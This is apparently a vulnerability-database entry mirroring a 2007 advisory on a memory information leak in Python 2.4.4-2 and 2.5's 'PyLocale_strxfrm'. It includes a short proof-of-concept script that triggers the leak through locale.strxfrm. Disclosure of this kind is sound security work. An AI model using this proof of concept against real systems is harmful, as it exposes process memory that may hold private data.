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Python 2.5 - 'PyLocale_strxfrm' Remote Information Leak

🗓️ 08 May 2007 00:00:00Reported by Piotr EngelkingType 
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Python 2.5 'PyLocale_strxfrm' Remote Information Lea

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source: https://www.securityfocus.com/bid/23887/info

Python applications that use the 'PyLocale_strxfrm' function are prone to an information leak.

Exploiting this issue allows remote attackers to read portions of memory.

Python 2.4.4-2 and 2.5 are confirmed vulnerable. 

#!/usr/bin/python

import locale

print locale.setlocale(locale.LC_COLLATE, 'pl_PL.UTF8')
print repr(locale.strxfrm('a'))

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08 May 2007 00:00Current
7.4High risk
Vulners AI Score7.4
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